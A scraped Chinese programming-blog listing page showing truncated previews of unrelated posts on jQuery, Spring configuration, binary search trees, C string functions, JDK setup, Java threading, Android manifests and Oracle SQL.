                                    chengxuyuancsdn
jquery取值ajax提交
                                    
    
// 取值
	// alert($("input[name='username']").val());
	// alert($("input[name='password']").val());
	// alert($("input[name='sex']:checked").val());
	// alert($("
    
                                
    • 
                                
  • 推荐国产工作流引擎嵌入式公式语法解析器-IK Expression
                                    comsci
java应用服务器工作Excel嵌入式
                                    
    这个开源软件包是国内的一位高手自行研制开发的，正如他所说的一样，我觉得它可以使一个工作流引擎上一个台阶。。。。。。欢迎大家使用，并提出意见和建议。。。 
----------转帖--------------------------------------------------- 
 IK Expression是一个开源的（OpenSource），可扩展的（Extensible），基于java语言
    
                                
    • 
                                
  • 关于系统中使用多个PropertyPlaceholderConfigurer的配置及PropertyOverrideConfigurer
                                    daizj
spring
                                    
    1、PropertyPlaceholderConfigurer 
Spring中PropertyPlaceholderConfigurer这个类，它是用来解析Java Properties属性文件值，并提供在spring配置期间替换使用属性值。接下来让我们逐渐的深入其配置。 
 
基本的使用方法是：(1) 
 
<bean id="propertyConfigurerForWZ&q
    
                                
    • 
                                
  • 二叉树:二叉搜索树
                                    dieslrae
二叉树
                                    
        所谓二叉树,就是一个节点最多只能有两个子节点,而二叉搜索树就是一个经典并简单的二叉树.规则是一个节点的左子节点一定比自己小,右子节点一定大于等于自己(当然也可以反过来).在树基本平衡的时候插入,搜索和删除速度都很快,时间复杂度为O(logN).但是,如果插入的是有序的数据,那效率就会变成O(N),在这个时候,树其实变成了一个链表. 
 
tree代码: 
 

    
                                
    • 
                                
  • C语言字符串函数大全
                                    dcj3sjt126com
cfunction
                                    
    C语言字符串函数大全 
  
  
函数名: stpcpy 
功 能: 拷贝一个字符串到另一个 
用 法: char *stpcpy(char *destin, char *source); 
程序例: 
  
#include <stdio.h> 
#include <string.h> 
  
int main
    
                                
    • 
                                
  • 友盟统计页面技巧
                                    dcj3sjt126com
技巧
                                    
    在基类调用就可以了, 基类ViewController示例代码 
-(void)viewWillAppear:(BOOL)animated
{
    [super viewWillAppear:animated];
    [MobClick beginLogPageView:[NSString stringWithFormat:@"%@",self.class]];

    
                                
    • 
                                
  • window下在同一台机器上安装多个版本jdk，修改环境变量不生效问题处理办法
                                    flyvszhb
javajdk
                                    
    window下在同一台机器上安装多个版本jdk，修改环境变量不生效问题处理办法 
 
本机已经安装了jdk1.7，而比较早期的项目需要依赖jdk1.6，于是同时在本机安装了jdk1.6和jdk1.7. 
 安装jdk1.6前，执行java -version得到 
C:\Users\liuxiang2>java -version 
java version "1.7.0_21&quo
    
                                
    • 
                                
  • Java在创建子类对象的同时会不会创建父类对象
                                    happyqing
java创建子类对象父类对象
                                    
      
1.在thingking in java 的第四版第六章中明确的说了，子类对象中封装了父类对象， 
  
2."When you create an object of the derived class, it contains within it a subobject of the base class. This subobject is the sam
    
                                
    • 
                                
  • 跟我学spring3 目录贴及电子书下载
                                    jinnianshilongnian
spring
                                    
      
  一、《跟我学spring3》电子书下载地址： 
《跟我学spring3》  （1-7 和 8-13） http://jinnianshilongnian.iteye.com/blog/pdf   
  
跟我学spring3系列 word原版 下载 
  
  二、
源代码下载  
最新依
    
                                
    • 
                                
  • 第12章 Ajax（上）
                                    onestopweb
Ajax
                                    
    index.html 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
    
                                
    • 
                                
  • BI and EIM 4.0 at a glance
                                    blueoxygen
BO
                                    
    http://www.sap.com/corporate-en/press.epx?PressID=14787 
  
有机会研究下EIM家族的两个新产品~~~~ 
  
New features of the 4.0 releases of BI and EIM solutions include:  
 
  Real-time in-memory computing – 
    
                                
    • 
                                
  • Java线程中yield与join方法的区别
                                    tomcat_oracle
java
                                    
    长期以来，多线程问题颇为受到面试官的青睐。虽然我个人认为我们当中很少有人能真正获得机会开发复杂的多线程应用(在过去的七年中，我得到了一个机会)，但是理解多线程对增加你的信心很有用。之前，我讨论了一个wait()和sleep()方法区别的问题，这一次，我将会讨论join()和yield()方法的区别。坦白的说，实际上我并没有用过其中任何一个方法，所以，如果你感觉有不恰当的地方，请提出讨论。 
&nb
    
                                
    • 
                                
  • android Manifest.xml选项
                                    阿尔萨斯
Manifest
                                    
    结构 
继承关系 
public final class Manifest extends Objectjava.lang.Objectandroid.Manifest 
内部类 
 
 
 class Manifest.permission权限 
 class Manifest.permission_group权限组 
 构造函数 
 
public Manifest () 详细  androi
    
                                
    • 
                                
  • Oracle实现类split函数的方
                                    zhaoshijie
oracle
                                    
    关键字：Oracle实现类split函数的方 
项目里需要保存结构数据，批量传到后他进行保存，为了减小数据量，子集拼装的格式，使用存储过程进行保存。保存的过程中需要对数据解析。但是oracle没有Java中split类似的函数。从网上找了一个，也补全了一下。 
 
CREATE OR REPLACE TYPE t_split_100 IS TABLE OF VARCHAR2(100); 
 
cr
    
                                
    • 
                

            

        

    




    

        

            按字母分类：
            ABCDEFGHIJKLMNOPQRSTUVWXYZ其他